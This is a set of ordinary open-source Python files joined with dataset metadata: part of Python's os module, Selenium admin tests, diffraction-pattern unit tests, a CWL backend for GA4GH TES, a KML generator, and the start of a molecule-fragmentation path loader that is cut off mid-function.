supported on Windows def spawnvp(mode, file, args): """spawnvp(mode, file, args) -> integer Execute file (which is looked for along $PATH) with arguments from args in a subprocess. If mode == P_NOWAIT return the pid of the process. If mode == P_WAIT return the process's exit code if it exits normally; otherwise return -SIG, where SIG is the signal that killed it. """ return _spawnvef(mode, file, args, None, execvp) def spawnvpe(mode, file, args, env): """spawnvpe(mode, file, args, env) -> integer Execute file (which is looked for along $PATH) with arguments from args in a subprocess with the supplied environment. If mode == P_NOWAIT return the pid of the process. If mode == P_WAIT return the process's exit code if it exits normally; otherwise return -SIG, where SIG is the signal that killed it. """ return _spawnvef(mode, file, args, env, execvpe) if _exists("spawnv"): # These aren't supplied by the basic Windows code # but can be easily implemented in Python def spawnl(mode, file, *args): """spawnl(mode, file, *args) -> integer Execute file with arguments from args in a subprocess. If mode == P_NOWAIT return the pid of the process. If mode == P_WAIT return the process's exit code if it exits normally; otherwise return -SIG, where SIG is the signal that killed it. """ return spawnv(mode, file, args) def spawnle(mode, file, *args): """spawnle(mode, file, *args, env) -> integer Execute file with arguments from args in a subprocess with the supplied environment. If mode == P_NOWAIT return the pid of the process. If mode == P_WAIT return the process's exit code if it exits normally; otherwise return -SIG, where SIG is the signal that killed it. """ env = args[-1] return spawnve(mode, file, args[:-1], env) __all__.extend(["spawnv", "spawnve", "spawnl", "spawnle",]) if _exists("spawnvp"): # At the moment, Windows doesn't implement spawnvp[e], # so it won't have spawnlp[e] either. def spawnlp(mode, file, *args): """spawnlp(mode, file, *args) -> integer Execute file (which is looked for along $PATH) with arguments from args in a subprocess with the supplied environment. If mode == P_NOWAIT return the pid of the process. If mode == P_WAIT return the process's exit code if it exits normally; otherwise return -SIG, where SIG is the signal that killed it. """ return spawnvp(mode, file, args) def spawnlpe(mode, file, *args): """spawnlpe(mode, file, *args, env) -> integer Execute file (which is looked for along $PATH) with arguments from args in a subprocess with the supplied environment. If mode == P_NOWAIT return the pid of the process. If mode == P_WAIT return the process's exit code if it exits normally; otherwise return -SIG, where SIG is the signal that killed it. """ env = args[-1] return spawnvpe(mode, file, args[:-1], env) __all__.extend(["spawnvp", "spawnvpe", "spawnlp", "spawnlpe",]) import copyreg as _copyreg def _make_stat_result(tup, dict): return stat_result(tup, dict) def _pickle_stat_result(sr): (type, args) = sr.__reduce__() return (_make_stat_result, args) try: _copyreg.pickle(stat_result, _pickle_stat_result, _make_stat_result) except NameError: # stat_result may not exist pass def _make_statvfs_result(tup, dict): return statvfs_result(tup, dict) def _pickle_statvfs_result(sr): (type, args) = sr.__reduce__() return (_make_statvfs_result, args) try: _copyreg.pickle(statvfs_result, _pickle_statvfs_result, _make_statvfs_result) except NameError: # statvfs_result may not exist pass if not _exists("urandom"): def urandom(n): """urandom(n) -> str Return a string of n random bytes suitable for cryptographic use. """ try: _urandomfd = open("/dev/urandom", O_RDONLY) except (OSError, IOError): raise NotImplementedError("/dev/urandom (or equivalent) not found") bs = b"" while len(bs) < n: bs += read(_urandomfd, n - len(bs)) close(_urandomfd) return bs # Supply os.popen() def popen(cmd, mode="r", buffering=None): if not isinstance(cmd, str): raise TypeError("invalid cmd type (%s, expected string)" % type(cmd)) if mode not in ("r", "w"): raise ValueError("invalid mode %r" % mode) import subprocess, io if mode == "r": proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, bufsize=buffering) return _wrap_close(io.TextIOWrapper(proc.stdout), proc) else: proc = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, bufsize=buffering) return _wrap_close(io.TextIOWrapper(proc.stdin), proc) # Helper for popen() -- a proxy for a file whose close waits for the process class _wrap_close: def __init__(self, stream, proc): self._stream = stream self._proc = proc def close(self): self._stream.close() returncode = self._proc.wait() if returncode == 0: return None if name == 'nt': return returncode else: return returncode << 8 # Shift left to match old behavior def __enter__(self): return self def __exit__(self, *args): self.close() def __getattr__(self, name): return getattr(self._stream, name) def __iter__(self): return iter(self._stream) # Supply os.fdopen() def fdopen(fd, *args, **kwargs): if not isinstance(fd, int): raise TypeError("invalid fd type (%s, expected integer)" % type(fd)) import io return io.open(fd, *args, **kwargs)
MalloyPower/parsing-python
front-end/testsuite-python-lib/Python-3.2/Lib/os.py
Python
mit
27,189
[ "VisIt" ]
47c6f0df43e24c7b4ca9aec5d3187adbff13243917b20e54528ea96422c74252
"""This module contains functional tests applicable to the Admin Backend.""" from fec.utils import SeleniumTestCase class GeneralAdminPageTests(SeleniumTestCase): """Test General Expectations for Every Admin Page.""" def setUp(self): """Visit the admin page and login.""" self.create_admin_and_login() def test_page_title_contains_the_fec(self): """The page title should end in `FEC Admin`.""" expected = "| FEC Admin" page_title_suffix = self.selenium.title[-len(expected):] self.assertEqual(expected, page_title_suffix) def test_nav_header_is_correct(self): """The navigation's heading should be `The FEC`.""" nav_header = self.selenium.find_element_by_class_name('admin-title') self.assertEqual("THE FEC", nav_header.text) class CommunityAdminPageTests(SeleniumTestCase): """Test Expectations for the Community Admin Pages.""" def setUp(self): """Visit the admin page and login.""" self.create_admin_and_login() def test_community_link_is_in_the_admin_menu(self): """A link to modify Communities should be under Content in the menu.""" self.assertItemIsInAdminMenu("Communities", "Content") def test_publishing_fieldset_is_hidden_by_default(self): """The publishing fieldset should exist and be hidden by default.""" self.selenium.find_element_by_link_text("Communities").click() self.selenium.find_element_by_link_text("Add community").click() fieldset_headers = self.selenium.find_elements_by_css_selector( "fieldset.collapse-closed h2") self.assertIn("Publishing", [fh.text for fh in fieldset_headers]) def test_contact_fieldset_is_hidden_by_default(self): """The contact fieldset should exist and be hidden by default.""" self.selenium.find_element_by_link_text("Communities").click() self.selenium.find_element_by_link_text("Add community").click() fieldset_headers = self.selenium.find_elements_by_css_selector( "fieldset.collapse-closed h2") self.assertIn("Contact", [fh.text for fh in fieldset_headers]) class DocumentAdminPageTests(SeleniumTestCase): """Test Expectations for the Document Admin Pages.""" def setUp(self): """Visit the admin page and login.""" self.create_admin_and_login() def test_document_category_link_is_in_the_admin_menu(self): """A link to modify Document Categories should be under Documents.""" self.assertItemIsInAdminMenu("Categories", "Systems & Structures") def test_document_link_is_in_the_admin_menu(self): """A link to modify Documents should be under the Documents Menu.""" self.assertItemIsInAdminMenu("Documents", "Systems & Structures")
FederationOfEgalitarianCommunities/FECWebsite
fec/functional_tests/admin_tests.py
Python
gpl-3.0
2,806
[ "VisIt" ]
e3b8bd2426360258a8b3c1e7e1c40938151a691093235498dcc2d7061a766107
# -*- coding: utf-8 -*- # Dioptas - GUI program for fast processing of 2D X-ray diffraction data # Principal author: Clemens Prescher (clemens.prescher@gmail.com) # Copyright (C) 2014-2019 GSECARS, University of Chicago, USA # Copyright (C) 2015-2018 Institute for Geology and Mineralogy, University of Cologne, Germany # Copyright (C) 2019 DESY, Hamburg, Germany # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. import unittest import os import numpy as np from ...model.util.Pattern import BkgNotInRangeError from ...model.util import Pattern from ...model.util.PeakShapes import gaussian unittest_path = os.path.dirname(__file__) data_path = os.path.join(unittest_path, '../data') class PatternTest(unittest.TestCase): def array_almost_equal(self, array1, array2, places=7): self.assertAlmostEqual(np.sum(array1 - array2), 0, places=places) def array_not_almost_equal(self, array1, array2, places=7): self.assertNotAlmostEqual(np.sum(array1 - array2), 0, places=places) def test_loading_chi_file(self): spec = Pattern() x, y = spec.data spec.load(os.path.join(data_path, 'pattern_001.chi')) new_x, new_y = spec.data self.assertNotEqual(len(x), len(new_x)) self.assertNotEqual(len(y), len(new_y)) def test_loading_invalid_file(self): spec = Pattern() self.assertEqual(-1, spec.load(os.path.join(data_path, 'wrong_file_format.txt'))) def test_saving_a_file(self): x = np.linspace(-5, 5, 100) y = x ** 2 spec = Pattern(x, y) filename = os.path.join(data_path, "test.dat") spec.save(filename) spec2 = Pattern() spec2.load(filename) spec2_x, spec2_y = spec2.data self.array_almost_equal(spec2_x, x) self.array_almost_equal(spec2_y, y) os.remove(filename) def test_plus_and_minus_operators(self): x = np.linspace(0, 10, 100) pattern1 = Pattern(x, np.sin(x)) pattern2 = Pattern(x, np.sin(x)) pattern3 = pattern1 + pattern2 self.assertTrue(np.array_equal(pattern3.y, np.sin(x) * 2)) self.assertTrue(np.array_equal(pattern2.original_y, np.sin(x) * 1)) self.assertTrue(np.array_equal(pattern1.original_y, np.sin(x) * 1)) pattern3 = pattern1 + pattern1 self.assertTrue(np.array_equal(pattern3.y, np.sin(x) * 2)) self.assertTrue(np.array_equal(pattern1.original_y, np.sin(x) * 1)) self.assertTrue(np.array_equal(pattern1.original_y, np.sin(x) * 1)) pattern3 = pattern2 - pattern1 self.assertTrue(np.array_equal(pattern3.y, np.sin(x) * 0)) self.assertTrue(np.array_equal(pattern2.original_y, np.sin(x) * 1)) self.assertTrue(np.array_equal(pattern1.original_y, np.sin(x) * 1)) pattern3 = pattern1 - pattern1 self.assertTrue(np.array_equal(pattern3.y, np.sin(x) * 0)) self.assertTrue(np.array_equal(pattern1.original_y, np.sin(x) * 1)) self.assertTrue(np.array_equal(pattern1.original_y, np.sin(x) * 1)) def test_plus_and_minus_operators_with_different_shapes(self): x = np.linspace(0, 10, 1000) x2 = np.linspace(0, 12, 1300) pattern1 = Pattern(x, np.sin(x)) pattern2 = Pattern(x2, np.sin(x2)) pattern3 = pattern1 + pattern2 self.array_almost_equal(pattern3.x, pattern1._original_x) self.array_almost_equal(pattern3.y, pattern1._original_y * 2, 2) pattern3 = pattern1 + pattern1 self.array_almost_equal(pattern3.y, np.sin(x) * 2, 2) pattern3 = pattern1 - pattern2 self.array_almost_equal(pattern3.y, np.sin(x) * 0, 2) pattern3 = pattern1 - pattern1 self.array_almost_equal(pattern3.y, np.sin(x) * 0, 2) def test_multiply_with_scalar_operator(self): x = np.linspace(0, 10, 100) pattern1 = 2 * Pattern(x, np.sin(x)) pattern2 = 2 * Pattern(x, np.sin(x)) self.assertTrue(np.array_equal(pattern2.y, np.sin(x) * 2)) def test_using_background_pattern(self): x = np.linspace(-5, 5, 100) pattern_y = x ** 2 bkg_y = x spec = Pattern(x, pattern_y) background_pattern = Pattern(x, bkg_y) spec.background_pattern = background_pattern new_x, new_y = spec.data self.array_almost_equal(new_x, x) self.array_almost_equal(new_y, pattern_y - bkg_y) def test_using_background_pattern_with_different_spacing(self): x = np.linspace(-5, 5, 100) pattern_y = x ** 2 x_bkg = np.linspace(-5, 5, 99) bkg_y = x_bkg spec = Pattern(x, pattern_y) background_pattern = Pattern(x_bkg, bkg_y) spec.background_pattern = background_pattern new_x, new_y = spec.data self.array_almost_equal(new_x, x) self.array_almost_equal(new_y, pattern_y - x) def test_background_out_of_range_throws_error(self): x1 = np.linspace(0, 10) x2 = np.linspace(-10, -1) spec = Pattern(x1, x1) background_pattern = Pattern(x2, x2) with self.assertRaises(BkgNotInRangeError): spec.background_pattern = background_pattern def test_automatic_background_subtraction(self): x = np.linspace(0, 24, 2500) y = np.zeros(x.shape) peaks = [ [10, 3, 0.1], [12, 4, 0.1], [12, 6, 0.1], ] for peak in peaks: y += gaussian(x, peak[0], peak[1], peak[2]) y_bkg = x * 0.4 + 5.0 y_measurement = y + y_bkg pattern = Pattern(x, y_measurement) auto_background_subtraction_parameters = [2, 50, 50] pattern.set_auto_background_subtraction(auto_background_subtraction_parameters) x_spec, y_spec = pattern.data self.array_almost_equal(y_spec, y) def test_automatic_background_subtraction_with_roi(self): x = np.linspace(0, 24, 2500) y = np.zeros(x.shape) peaks = [ [10, 3, 0.1], [12, 4, 0.1], [12, 6, 0.1], ] for peak in peaks: y += gaussian(x, peak[0], peak[1], peak[2]) y_bkg = x * 0.4 + 5.0 y_measurement = y + y_bkg roi = [1, 23] pattern = Pattern(x, y_measurement) auto_background_subtraction_parameters = [2, 50, 50] pattern.set_auto_background_subtraction(auto_background_subtraction_parameters, roi) x_spec, y_spec = pattern.data self.assertGreater(x_spec[0], roi[0]) self.assertLess(x_spec[-1], roi[1]) # self.array_almost_equal(y_spec, y) def test_setting_new_data(self): spec = Pattern() x = np.linspace(0, 10) y = np.sin(x) spec.data = x, y new_x, new_y = spec.data self.array_almost_equal(new_x, x) self.array_almost_equal(new_y, y) def test_using_len(self): x = np.linspace(0, 10, 234) y = x ** 2 spec = Pattern(x, y) self.assertEqual(len(spec), 234) if __name__ == '__main__': unittest.main()
erangre/Dioptas
dioptas/tests/unit_tests/test_Pattern.py
Python
gpl-3.0
7,679
[ "Gaussian" ]
5c60440855964b32ee179898903ac6d712a3d6530fa5830efeb6ec455134b8c1
from __future__ import absolute_import, print_function, unicode_literals import logging import os import random import time import threading import stat from builtins import str import shutil import functools import uuid from tempfile import NamedTemporaryFile from pprint import pformat from typing import (Any, Callable, Dict, List, MutableMapping, MutableSequence, Optional, Union) from typing_extensions import Text import tes from six.moves import urllib from schema_salad.ref_resolver import file_uri from schema_salad.sourceline import SourceLine from schema_salad import validate from cwltool.builder import Builder from cwltool.command_line_tool import CommandLineTool from cwltool.context import RuntimeContext from cwltool.errors import WorkflowException, UnsupportedRequirement from cwltool.expression import JSON from cwltool.job import JobBase from cwltool.stdfsaccess import StdFsAccess from cwltool.pathmapper import (PathMapper, uri_file_path, MapperEnt, downloadHttpFile) from cwltool.utils import onWindows, convert_pathsep_to_unix from cwltool.workflow import default_make_tool from .ftp import abspath log = logging.getLogger("tes-backend") def make_tes_tool(spec, loading_context, url, remote_storage_url, token): """cwl-tes specific factory for CWL Process generation.""" if "class" in spec and spec["class"] == "CommandLineTool": return TESCommandLineTool( spec, loading_context, url, remote_storage_url, token) return default_make_tool(spec, loading_context) class TESCommandLineTool(CommandLineTool): """cwl-tes specific CommandLineTool.""" def __init__(self, spec, loading_context, url, remote_storage_url, token): super(TESCommandLineTool, self).__init__(spec, loading_context) self.spec = spec self.url = url self.remote_storage_url = remote_storage_url self.token = token def make_path_mapper(self, reffiles, stagedir, runtimeContext, separateDirs): if self.remote_storage_url: return TESPathMapper( reffiles, runtimeContext.basedir, stagedir, separateDirs, runtimeContext.make_fs_access(self.remote_storage_url or "")) return super(TESCommandLineTool, self).make_path_mapper( reffiles, stagedir, runtimeContext, separateDirs) def make_job_runner(self, runtimeContext): if self.remote_storage_url: remote_storage_url = self.remote_storage_url + "/output_{}".format( uuid.uuid4()) else: remote_storage_url = "" return functools.partial(TESTask, runtime_context=runtimeContext, url=self.url, spec=self.spec, remote_storage_url=remote_storage_url, token=self.token) class TESPathMapper(PathMapper): def __init__(self, reference_files, basedir, stagedir, separateDirs=True, fs_access=None): self.fs_access = fs_access super(TESPathMapper, self).__init__(reference_files, basedir, stagedir, separateDirs) def _download_ftp_file(self, path): with NamedTemporaryFile(mode='wb', delete=False) as dest: with self.fs_access.open(path, mode="rb") as handle: chunk = "start" while chunk: chunk = handle.read(16384) dest.write(chunk) return dest.name def visit(self, obj, stagedir, basedir, copy=False, staged=False): tgt = convert_pathsep_to_unix( os.path.join(stagedir, obj["basename"])) if obj["location"] in self._pathmap: return if obj["class"] == "Directory": if obj["location"].startswith("file://"): log.warning("a file:// based Directory slipped through: %s", obj) resolved = uri_file_path(obj["location"]) else: resolved = obj["location"] self._pathmap[obj["location"]] = MapperEnt( resolved, tgt, "WritableDirectory" if copy else "Directory", staged) if obj["location"].startswith("file://"): staged = False self.visitlisting( obj.get("listing", []), tgt, basedir, copy=copy, staged=staged) elif obj["class"] == "File": path = obj["location"] abpath = abspath(path, basedir) if "contents" in obj and obj["location"].startswith("_:"): self._pathmap[obj["location"]] = MapperEnt( obj["contents"], tgt, "CreateFile", staged) else: with SourceLine(obj, "location", validate.ValidationException, log.isEnabledFor(logging.DEBUG)): deref = abpath if urllib.parse.urlsplit(deref).scheme in [ 'http', 'https']: deref = downloadHttpFile(path) elif urllib.parse.urlsplit(deref).scheme == 'ftp': deref = self._download_ftp_file(path) else: log.warning("unprocessed File %s", obj) # Dereference symbolic links st = os.lstat(deref) while stat.S_ISLNK(st.st_mode): rl = os.readlink(deref) deref = rl if os.path.isabs(rl) \ else os.path.join(os.path.dirname(deref), rl) st = os.lstat(deref) self._pathmap[path] = MapperEnt( deref, tgt, "WritableFile" if copy else "File", staged) self.visitlisting( obj.get("secondaryFiles", []), stagedir, basedir, copy=copy, staged=staged) class TESTask(JobBase): JobOrderType = Dict[Text, Union[Dict[Text, Any], List, Text]] def __init__(self, builder, # type: Builder joborder, # type: JSON make_path_mapper, # type: Callable[..., PathMapper] requirements, # type: List[Dict[Text, Text]] hints, # type: List[Dict[Text, Text]] name, # type: Text runtime_context, url, spec, remote_storage_url=None, token=None): super(TESTask, self).__init__(builder, joborder, make_path_mapper, requirements, hints, name) self.runtime_context = runtime_context self.spec = spec self.outputs = None self.inplace_update = False self.basedir = runtime_context.basedir or os.getcwd() self.fs_access = StdFsAccess(self.basedir) self.id = None self.state = "UNKNOWN" self.exit_code = None self.poll_interval = 1 self.poll_retries = 10 self.client = tes.HTTPClient(url, token=token) self.remote_storage_url = remote_storage_url self.token = token def get_container(self): default = self.runtime_context.default_container or "python:2.7" container = default docker_req, _ = self.get_requirement("DockerRequirement") if docker_req: container = docker_req.get( "dockerPull", docker_req.get("dockerImageId", default) ) return container def create_input(self, name, d): if "contents" in d: return tes.Input( name=name, description="cwl_input:%s" % (name), path=d["path"], content=d["contents"], type=d["class"].upper() ) return tes.Input( name=name, description="cwl_input:%s" % (name), url=d["location"], path=d["path"], type=d["class"].upper() ) def parse_job_order(self, k, v, inputs): if isinstance(v, MutableMapping): if all([i in v for i in ["location", "path", "class"]]): inputs.append(self.create_input(k, v)) if "secondaryFiles" in v: for f in v["secondaryFiles"]: self.parse_job_order(f["basename"], f, inputs) else: for sk, sv in v.items(): if isinstance(sv, MutableMapping): self.parse_job_order(sk, sv, inputs) else: break elif isinstance(v, MutableSequence): for i in range(len(v)): if isinstance(v[i], MutableMapping): self.parse_job_order("%s[%s]" % (k, i), v[i], inputs) else: break return inputs def parse_listing(self, listing, inputs): for item in listing: if "writable" in item: raise UnsupportedRequirement( "The TES spec does not allow for writable inputs" ) if "contents" in item: loc = self.fs_access.join(self.tmpdir, item["basename"]) with self.fs_access.open(loc, "wb") as gen: gen.write(item["contents"]) else: loc = item["location"] if urllib.parse.urlparse(loc).scheme: url = loc else: url = file_uri(loc) parameter = tes.Input( name=item["basename"], description="InitialWorkDirRequirement:cwl_input:%s" % ( item["basename"] ), url=url, path=self.fs_access.join( self.builder.outdir, item["basename"]), type=item["class"].upper() ) inputs.append(parameter) return inputs def get_inputs(self): inputs = [] # find all primary and secondary input files for k, v in self.joborder.items(): self.parse_job_order(k, v, inputs) # manage InitialWorkDirRequirement self.parse_listing(self.generatefiles["listing"], inputs) return inputs def get_envvars(self): env = self.environment vars_to_preserve = self.runtime_context.preserve_environment if self.runtime_context.preserve_entire_environment: vars_to_preserve = os.environ if vars_to_preserve is not None: for key, value in os.environ.items(): if key in vars_to_preserve and key not in env: # On Windows, subprocess env can't handle unicode. env[key] = str(value) if onWindows() else value env["HOME"] = str(self.builder.outdir) if onWindows() \ else self.builder.outdir env["TMPDIR"] = str(self.builder.tmpdir) if onWindows() \ else self.builder.tmpdir return env def create_task_msg(self): input_parameters = self.get_inputs() output_parameters = [] if self.stdout is not None: parameter = tes.Output( name="stdout", url=self.output2url(self.stdout), path=self.output2path(self.stdout) ) output_parameters.append(parameter) if self.stderr is not None: parameter = tes.Output( name="stderr", url=self.output2url(self.stderr), path=self.output2path(self.stderr) ) output_parameters.append(parameter) output_parameters.append( tes.Output( name="workdir", url=self.output2url(""), path=self.builder.outdir, type="DIRECTORY" ) ) container = self.get_container() res_reqs = self.builder.resources ram = res_reqs['ram'] / 953.674 disk = (res_reqs['outdirSize'] + res_reqs['tmpdirSize']) / 953.674 cpus = res_reqs['cores'] docker_req, _ = self.get_requirement("DockerRequirement") if docker_req and hasattr(docker_req, "dockerOutputDirectory"): output_parameters.append( tes.Output( name="dockerOutputDirectory", url=self.output2url(""), path=docker_req.dockerOutputDirectory, type="DIRECTORY" ) ) create_body = tes.Task( name=self.name, description=self.spec.get("doc", ""), executors=[ tes.Executor( command=self.command_line, image=container, workdir=self.builder.outdir, stdout=self.output2path(self.stdout), stderr=self.output2path(self.stderr), stdin=self.stdin, env=self.get_envvars() ) ], inputs=input_parameters, outputs=output_parameters, resources=tes.Resources( cpu_cores=cpus, ram_gb=ram, disk_gb=disk ), tags={"CWLDocumentId": self.spec.get("id")} ) return create_body def run(self, runtimeContext, # type: RuntimeContext tmpdir_lock=None # type: Optional[threading.Lock] ): # type: (...) -> None log.debug( "[job %s] self.__dict__ in run() ----------------------", self.name ) log.debug(pformat(self.__dict__)) if not self.successCodes: self.successCodes = [0] task = self.create_task_msg() log.info( "[job %s] CREATED TASK MSG----------------------", self.name ) log.info(pformat(task)) try: self.id = self.client.create_task(task) log.info( "[job %s] SUBMITTED TASK ----------------------", self.name ) log.info("[job %s] task id: %s ", self.name, self.id) except Exception as e: log.error( "[job %s] Failed to submit task to TES service:\n%s", self.name, e ) raise WorkflowException(e) max_tries = 10 current_try = 1 self.exit_code = None while not self.is_done(): delay = 1.5 * current_try**2 time.sleep( random.randint( round( delay - 0.5 * delay), round( delay + 0.5 * delay))) try: task = self.client.get_task(self.id, "MINIMAL") self.state = task.state log.debug( "[job %s] POLLING %s, result: %s", self.name, pformat(self.id), task.state ) except Exception as e: log.error("[job %s] POLLING ERROR %s", self.name, e) if current_try <= max_tries: current_try += 1 continue else: log.error("[job %s] MAX POLLING RETRIES EXCEEDED", self.name) break try: process_status = None if self.state != "COMPLETE" \ and self.exit_code not in self.successCodes: process_status = "permanentFail" log.error("[job %s] job error:\n%s", self.name, self.state) remote_cwl_output_json = False if self.remote_storage_url: remote_fs_access = runtimeContext.make_fs_access( self.remote_storage_url) remote_cwl_output_json = remote_fs_access.exists( remote_fs_access.join( self.remote_storage_url, "cwl.output.json")) if self.remote_storage_url: original_outdir = self.builder.outdir if not remote_cwl_output_json: self.builder.outdir = self.remote_storage_url outputs = self.collect_outputs(self.remote_storage_url, self.exit_code) self.builder.outdir = original_outdir else: outputs = self.collect_outputs(self.outdir, self.exit_code) cleaned_outputs = {} for k, v in outputs.items(): if isinstance(k, bytes): k = k.decode("utf8") if isinstance(v, bytes): v = v.decode("utf8") cleaned_outputs[k] = v self.outputs = cleaned_outputs if not process_status: process_status = "success" except (WorkflowException, Exception) as err: log.error("[job %s] job error:\n%s", self.name, err) if log.isEnabledFor(logging.DEBUG): log.exception(err) process_status = "permanentFail" finally: if self.outputs is None: self.outputs = {} with self.runtime_context.workflow_eval_lock: self.output_callback(self.outputs, process_status) log.info( "[job %s] OUTPUTS ------------------", self.name ) log.info(pformat(self.outputs)) self.cleanup(self.runtime_context.rm_tmpdir) return def is_done(self): terminal_states = ["COMPLETE", "CANCELED", "EXECUTOR_ERROR", "SYSTEM_ERROR"] if self.state in terminal_states: log.info( "[job %s] FINAL JOB STATE: %s ------------------", self.name, self.state ) if self.state != "COMPLETE": log.error( "[job %s] task id: %s", self.name, self.id ) logs = self.client.get_task(self.id, "FULL").logs log.error( "[job %s] logs: %s", self.name, logs ) if isinstance(logs, MutableSequence): last_log = logs[-1] if isinstance(last_log, tes.TaskLog) and last_log.logs: self.exit_code = last_log.logs[-1].exit_code return True return False def cleanup(self, rm_tmpdir): log.debug( "[job %s] STARTING CLEAN UP ------------------", self.name ) if self.stagedir and os.path.exists(self.stagedir): log.debug( "[job %s] Removing input staging directory %s", self.name, self.stagedir ) shutil.rmtree(self.stagedir, True) if rm_tmpdir: log.debug( "[job %s] Removing temporary directory %s", self.name, self.tmpdir ) shutil.rmtree(self.tmpdir, True) def output2url(self, path): if path is not None: if self.remote_storage_url: return self.fs_access.join( self.remote_storage_url, os.path.basename(path)) return file_uri( self.fs_access.join(self.outdir, os.path.basename(path)) ) return None def output2path(self, path): if path is not None: return self.fs_access.join(self.builder.outdir, path) return None
common-workflow-language/cwl-tes
cwl_tes/tes.py
Python
apache-2.0
20,077
[ "VisIt" ]
95f418bc6670ac90b1afe0afddc9e04e3885889ed710385733d305802defc2e0
######################################################################## # $HeadURL$ ######################################################################## """ Handles KML generation """ __RCSID__ = "$Id$" ############################################################################# class KMLData: ############################################################################# def __init__( self ): """ KMLData constructor """ self.data = '' ############################################################################# def __del__( self ): """ KMLData destructor """ pass ############################################################################# def reset( self ): """ Clears all KML data """ self.data = '' ############################################################################# def getKML( self ): """ Returns a string which contains full KML data """ header = '' header += '<?xml version="1.0" encoding="UTF-8"?>\n' header += '<kml xmlns="http://earth.google.com/kml/2.2">\n' header += '<Document>\n' header += '\t<name>DIRAC Grid Monitoring System</name>\n' footer = '' footer += '</Document>\n' footer += '</kml>\n' return '%s%s%s' % ( header, self.data, footer ) ############################################################################# def writeFile( self, fileName ): """ Writes the KML data to a file """ fout = open( fileName, 'w' ) dataOut = self.getKML() fout.write( dataOut ) fout.close() ############################################################################# def addNodeStyle( self, name, icon, scale, hotspot = ( 0.5, 0.5 ), size = None ): self.data += '\t<Style id="%s">\n' % name self.data += '\t\t<IconStyle>\n' self.data += '\t\t\t<Icon>\n' #self.data += '\t\t\t\t<href>http://lhcbtest.pic.es/DIRAC/images/maps/%s</href>\n' % icon self.data += '\t\t\t\t<href>%s</href>\n' % icon if size: self.data += '\t\t\t\t<w>%d</w><h>%d</h>\n' % ( size[0], size[1] ) self.data += '\t\t\t</Icon>\n' self.data += '\t\t\t<scale>%.1f</scale>\n' % scale self.data += '\t\t\t<hotSpot x="%.2f" y="%.2f" xunits="fraction" yunits="fraction"/>\n' % ( hotspot[0], hotspot[1] ) self.data += '\t\t</IconStyle>\n' self.data += '\t</Style>\n' ############################################################################# def addLinkStyle( self, name, color, width ): # Note: color is in the form AABBGGRR (hexadecimal) self.data += '\t<Style id="%s">\n' % name self.data += '\t\t<LineStyle>\n' self.data += '\t\t\t<color>%s</color>\n' % color self.data += '\t\t\t<width>%d</width>\n' % width self.data += '\t\t</LineStyle>\n' self.data += '\t</Style>\n' ############################################################################# def addMultipleScaledStyles( self, pathPrefix, prefix, data, suffix ): for pre in prefix: for dKey in data: self.addNodeStyle( '%s%s' % ( pre, dKey ), '%s%s%s' % ( pathPrefix, pre, suffix ), data[dKey] ) ############################################################################# def addNode( self, name, description, style, coord ): self.data += '\t<Placemark>\n' self.data += '\t\t<name>\n' self.data += '\t\t\t<![CDATA[\n' self.data += '\t\t\t\t' # self.data += '<h4>%s</h4>\n' % name self.data += '%s\n' % name self.data += '\t\t\t]]>\n' self.data += '\t\t</name>\n' self.data += '\t\t<description>\n' self.data += '\t\t\t<![CDATA[\n' self.data += '\t\t\t\t' # self.data += '<h2>%s</h2>' % name # self.data += '<h3>%s</h3>\n' % description) self.data += '%s\n' % description self.data += '\t\t\t]]>\n' self.data += '\t\t</description>\n' if style: self.data += '\t\t<styleUrl>#%s</styleUrl>\n' % style self.data += '\t\t<Point><coordinates>%.4f,%.4f,0</coordinates></Point>\n' % ( coord[0], coord[1] ) self.data += '\t</Placemark>\n' ############################################################################# def addLink( self, name, description, style, src, dest ): self.data += '\t<Placemark>\n' self.data += '\t\t<name>\n' self.data += '\t\t\t<![CDATA[\n' self.data += '\t\t\t\t' # self.data += '<h4>%s</h4>\n' % name self.data += '%s\n' % name self.data += '\t\t\t]]>\n' self.data += '\t\t</name>\n' self.data += '\t\t<description>\n' self.data += '\t\t\t<![CDATA[\n' self.data += '\t\t\t\t' # self.data += '<h2>%s</h2>' % name # self.data += '<h3>%s</h3>\n' % description) self.data += '%s\n' % description self.data += '\t\t\t]]>\n' self.data += '\t\t</description>\n' if style: self.data += '\t\t<styleUrl>#%s</styleUrl>\n' % style self.data += '\t\t<LineString><coordinates>%.4f,%.4f,0 %.4f,%.4f,0</coordinates></LineString>\n'\ % ( src[0], src[1], dest[0], dest[1] ) self.data += '\t</Placemark>\n' #EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF#EOF#
avedaee/DIRAC
Core/Utilities/KMLData.py
Python
gpl-3.0
5,105
[ "DIRAC" ]
54503e82aae62e0645b7204372b1f899b818ab6512588af9c27a77d0cfdc126a
import os import sys import pkgutil def LoadFolder(inputFolderPath): infilePathList=[] try: for root, dirs, files in os.walk(inputFolderPath): for file in files: infilePathList.append(inputFolderPath+file) except: print('Error Code: 0015') return infilePathList def Loader(mainPath0): flag=0 try: mainEntryPath=mainPath0 mainPath=os.path.dirname(mainEntryPath) if mainPath[-1]=='/': pass else: mainPath=mainPath+'/' fileList=LoadFolder(mainPath) except: print('Error Code: 0010') # Check path configure file try: if mainPath+'PathConfigure.log' in fileList: with open(mainPath+'PathConfigure.log','r') as inf: tempList=inf.readlines() if len(tempList)==2: if os.path.exists(tempList[0].replace('\n','')): if os.path.exists(tempList[1].replace('\n','')): pass else: flag = 1 print('Pkcombu path is not configured correctly.\nExit.') return 1 else: flag = 1 print('eMolFrag path is not configured correctly.\nExit.') return 1 else: flag = 1 print('Path configuration is not correctly.\nExit.') return 1 else: flag = 1 print('Cannot find path configure file.\nExit.') return 1 except: print('Error Code: 0011') # Check main entry eMolFrag.py try: if mainEntryPath in fileList: pass else: flag = 1 print('Cannot find entrance: eMolFrag.py.\nExit.') return 1 except: print('Error Code: 0012') # Check RDKit try: load1=pkgutil.find_loader('rdkit') #load2=pkgutil.find_loader('rdkit.Chem') if load1 == None: print('Cannot find RDKit.\nExit.') flag = 1 return 1 